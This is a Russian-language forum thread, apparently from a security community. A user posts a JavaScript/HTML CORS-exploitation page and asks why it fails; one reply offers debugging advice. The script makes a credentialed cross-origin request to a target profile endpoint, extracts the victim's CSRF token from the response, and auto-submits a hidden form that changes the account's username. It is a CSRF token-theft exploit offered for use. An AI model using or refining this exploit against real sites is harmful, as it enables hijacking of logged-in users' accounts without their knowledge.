CORS эксплуатация уязвимосьти

wallhack · 30.03.2023

Всем привет.
Не могу получить токен
При работе скрипта в консоле браузера появляется сообщение "отсутствует заголовок CORS «Access-Control-Allow-Origin»"
Но в скрипте он есть. Origin принимает любой сайт
В чем может быть проблема?

JavaScript:

<body onload="getData()">

<form id="form" action="https://site.ru/v1/profile/info/" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="root"/>
  <input type="hidden" name="status" value="on"/>
  <input type="hidden" id="findtoken" name="token" value=""/>
  <input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
  x.withCredentials = true;
 
  x.open("GET","https://site.ru/v1/profile/info/",true);
  x.setRequestHeader("Access-Control-Allow-Origin", "mysite.ru");
  x.send(null);
}
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    var token = x.responseText.match(/name="token" value="(.+)"/)[1];
    document.getElementById("findtoken").value = token;
    document.getElementById("form").submit();
  }
}
</script>

Mark Klintov · 01.04.2023

Как я понимаю ошибка возникает из за того, что сервер не отправляет заголовок CORS, который указывает, какие домены могут получать доступ к ресурсу. Добавь заголовок Access-Control-Allow-Origin на сервер, а в скрипте удали строку:

JavaScript:

x.setRequestHeader("Access-Control-Allow-Origin", "mysite.ru");

Так как это должно быть установлено на сервере. Не факт, что это сработает, поскольку это одна из версий возникновения ошибки

TODO: могу не так понять проблему, поэтому если где то, что то не так лучше поправить

Все сервисы Codeby

Поиск

Поиск

CORS эксплуатация уязвимосьти

wallhack

Active member

Mark Klintov